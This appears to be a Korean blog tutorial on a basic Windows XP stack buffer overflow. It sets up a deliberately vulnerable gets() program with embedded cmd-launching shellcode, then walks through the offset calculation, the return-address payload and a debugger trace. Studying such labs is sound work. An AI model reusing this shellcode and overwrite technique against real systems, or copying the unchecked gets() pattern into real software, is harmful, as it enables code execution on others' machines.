최초 작성일 : 2014/06/04
Windows Buffer Overflow #1
- 환경
Windows XP Professional K Version 2002 SP3 VC++ 6.0 |
1. 대상 프로그램
bof의 기초를 익히기 위해 cmd를 실행하는 shellcode를 소스 안에 넣어두었다. main 함수를 보면 shellcode의 주소가 출력되고, 입력되는 문자열의 길이를 체크하지 않는 gets 함수의 취약점을 이용하여 shellcode를 실행할 수 있다.
// gets.cpp #include <stdio.h> char shellcode[]= "\x55" "\x8b\xec" "\x53" "\xc6\x45\xfc\x63" "\xc6\x45\xfd\x6d" "\xc6\x45\xfe\x64" "\xc6\x45\xff\x00" "\x6a\x01" "\x8d\x45\xfc" "\x50" "\xb8\xad\x23\x86\x7c" "\xff\xd0" "\x6a\x01" "\xb8\xfa\xca\x81\x7c" "\xff\xd0"; int main() { char buf[10]; printf("shellcode : 0x%x\n", shellcode); printf("input : "); gets(buf); printf("\noutput : %s\n",buf); } |
2. 취약점 확인
buf는 10byte의 크기로 배열이 선언되어 있다. gets의 입력 값으로 10byte를 초과하는 문자열을 입력하면 overflow가 발생한다. 또한, shellcode의 주소는 0x422360 임을 화면에 출력된 내용을 보고 확인 할 수 있다.
3. stack 구조
buf가 10byte로 선언되어 있지만 ret를 조작하여 eip를 변경하려면 ret까지의 정확한 위치를 알아야 한다. 간단한 시도로 AAAAAAAAAABBCCCCDDDD의 입력 값에서 eip가 44444444(DDDD)로 변조되는 것을 확인할 수 있다. 즉, buf로 부터 ret 까지의 거리는 16byte 떨어져 있다. BB는 buf와 sfp 사이에 garbage 값이다.
4. payload 구성
공격에 사용될 payload를 구성해 보면 다음과 같다.
buf = 10byte
garbage = 2byte
sfp = 4byte
ret = 0x422360 (shellcode 주소)
buf | garbage | sfp | ret |
AAAAAAAAAA | GG | BBBB | 0x422360 |
shellcode address인 0x422360은 간단히 ASCII 코드표에서 문자를 찾아서 대입하면 된다.
0x42 = B
0x23 = #
0x60 = `
메모리 주소는 리틀 엔디안(Little-Endian) 형식에 따라 하위 byte부터 입력한다.
최종 payload는 다음과 같다.
buf | garbage | sfp | ret |
AAAAAAAAAA | GG | BBBB | `#B |
5. Buffer Overflow 공격
최종 payload ( AAAAAAAAAAGGBBBB`#B )로 공격을 실행하면 buf를 overflow하여 eip를 shellcode위치로 변경할 수 있다. 공격이 성공하면 cmd가 실행된다.
6. 디버깅
main 함수 시작
gets 함수 실행
공격 실행
sfp 위치의 stack 0x0012FF80 = 42424242 (BBBB)
ret 위치의 stack 0x0012FF84 = 00422360 (shellcode 주소)
RETN의 실행으로 변경된 eip (0x00422360) 위치로 리턴함
shellcode가 실행되어, cmd가 동작함
7. 참고사이트
http://pgnsc.tistory.com/260
'BOF' 카테고리의 다른 글
[BOF] BOF 개요 (0) | 2017.04.29 |
---|---|
[windows] windows buffer overflow #3 (0) | 2017.04.01 |
[windows] windows buffer overflow #2 (0) | 2017.04.01 |